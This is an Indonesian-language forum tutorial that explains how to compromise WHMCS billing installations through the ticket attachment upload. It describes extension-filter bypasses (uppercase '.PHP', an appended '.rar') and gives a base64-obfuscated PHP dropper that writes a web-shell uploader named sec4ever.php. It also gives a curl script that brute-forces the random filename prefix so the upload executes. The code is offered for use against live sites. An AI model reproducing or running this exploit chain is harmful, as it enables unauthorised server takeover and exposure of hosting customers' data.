WHMCS Trick with Mime Type And PHP Ext ByPass

 om om cantik.. 
lama ane g bkin post, msh sibuk main fb 
okedeh om,. kali ini ane share 1 lagi jalan mnuju whmcs.. mskipun trik ini udah lumayan lama sih, 
yaitu dgn menggunakan form upload yg ad di page submitticket pda sbuah whmcs 

cara 1 : The Extension PHP Is allowed To Be Uploaded
misalkan target kita http://www.caridigoogle.com/whmcs/submitticket.php
kita bsa liat form upload sprti ini

jika kita upload file ext .php maka hasilnya akan sprti ini

untuk mem-bypass ini, cukup mrubah sdkit ekstensi file kita dgn huruf kapital
misalkan, file kita b0x.php kta ubah sja mnjadi b0x.PHP via tamper data

skrang submit 


cara 2 : PHP Extension Is not Allowed To Be uploaded on WHMCS 
coba lihat ini

dsana kta bsa liat file dgn ekstensi .rar dapat di upload
msh dgn mnggunakan tamper data,. kita tambah ekstensi file dgn .rar

b0x.PHP.rar has been uploaded 

di whmcs, File secara otomatis akan Berganti nama jdi sperti ini

Quote:number_filename.extension

msalkan file kita b0x.PHP akan mnjadi sprti ini

Quote:RandomNumber_b0x.PHP 

tp dsini kta tdk bsa mngetahui RandomNumber karena itu adalah angka acak 

untuk mndapatkan RandomNumber, mari kita saksikan.

Let's Make Small Summery
This Code Must be As Attach File

Code:

<?php
$shellcode = "PD9waHANCmVjaG8gJzxiPjxicj48YnI+Jy5waHBfdW5hbWUoKS4nPGJyPjwvYj4nOw0KZWNobyAnPGZv​cm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFt​ZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsNCmVjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1l​PSJmaWxlIiBzaXplP​SI1MCI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwi​IHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOw0KaWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkg​ew0KCWlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWydu​YW1lJ10pKSB7IGVjaG8gJzxiPlVwbG9hZC​BTVUtTRVMgISEhPC9iPjxicj48YnI+JzsgfQ0KCWVsc2Ug​eyBlY2hvICc8Yj5VcGxvYWQgR0FHQUwgISEhPC9iPjxicj48YnI+JzsgfQ0KfQ0KPz4=";
$b0x = fopen("sec4ever.php","w");
fwrite($b0x,base64_decode($shellcode));
?>

This is uploader Script Will be Opened In The Same Folde - attachments -
Now Upload it as Before Via .PHP or non-defined
After That ,, Use This Code To Generate / Browse Site And get Uploader in sec4ever.php

Code:

<?
error_reporting(0);
$url = "http://domain.tld/whmcs/";
$attachfolder = "attachments";
$attach= "b0x.PHP";
for($b0x=100000; $b0x<1000000;$b0x++){
$urls = "$url/$attachfolder/$b0x"; $urls.="_$attach";
$ch = @curl_init();
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
@curl_setopt($ch, CURLOPT_URL, $urls );
$result = @curl_exec($ch);
@curl_close($ch);
}
?>

Edit The Variables To Get The Correct Result - 3xPecteD
Then When The Script Ends Browsing URL'z Via Auto-Generate By For Function
The Script Will Browse Your PHP Code But You'll No Be Able To Know What is the Number
But The Script Will Generate Shell/Uploader in Sec4ever.php

v

sekian tutor yg ane dpt untuk hari ini..
moga berguna. 

credit : ./b0x